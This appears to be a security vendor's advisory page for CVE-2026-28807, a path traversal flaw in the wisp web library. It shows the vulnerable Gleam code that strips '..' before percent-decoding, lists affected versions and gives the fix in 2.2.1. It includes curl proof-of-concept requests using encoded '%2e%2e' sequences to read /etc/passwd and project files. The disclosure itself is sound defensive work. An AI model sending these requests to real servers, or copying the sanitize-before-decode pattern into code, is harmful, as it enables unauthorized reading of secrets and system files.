CVE-2026-28807

Wisp Vulnerable to Path Traversal

let path =
  path
  |> string.drop_start(string.length(prefix))
  |> string.replace(each: "..", with: "")   // Step 1: sanitize
  |> filepath.join(directory, _)

let path = case uri.percent_decode(path) {  // Step 2: decode
  Ok(p) -> p
  Error(_) -> path
}

fn handle_request(req: wisp.Request) -> wisp.Response {
  use <- wisp.serve_static(req, under: "/static", from: priv_directory())
  wisp.not_found()
}

# Read /etc/passwd
curl -s --path-as-is \
  "http://localhost:8080/static/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"

# Read project source code
curl -s --path-as-is \
  "http://localhost:8080/static/%2e%2e/%2e%2e/src/app.gleam"

# Read project config
curl -s --path-as-is \
  "http://localhost:8080/static/%2e%2e/%2e%2e/gleam.toml"

This is a path traversal / arbitrary file read vulnerability (CWE-22). Any application using wisp.serve_static is affected. An unauthenticated attacker can read:

• Application source code
• Configuration and secrets in priv/
• .env files, secret_key_base, private keys
• System files (/etc/passwd, /etc/shadow if permissions allow)

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

CVE-2026-28807 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.2.1); upgrading removes the vulnerable code path.

Kodem intelligence

Already deployed Kodem?

1. What is CVE-2026-28807? CVE-2026-28807 is a high-severity path traversal vulnerability in wisp (erlang), affecting versions >= 2.1.1, < 2.2.1. It is fixed in 2.2.1. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
2. How severe is CVE-2026-28807? CVE-2026-28807 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of wisp are affected by CVE-2026-28807? wisp (erlang) versions >= 2.1.1, < 2.2.1 is affected.
4. Is there a fix for CVE-2026-28807? Yes. CVE-2026-28807 is fixed in 2.2.1. Upgrade to this version or later.
5. Is CVE-2026-28807 exploitable, and should I be worried? Whether CVE-2026-28807 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-28807 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-28807? Upgrade wisp to 2.2.1 or later.

Other vulnerabilities in wisp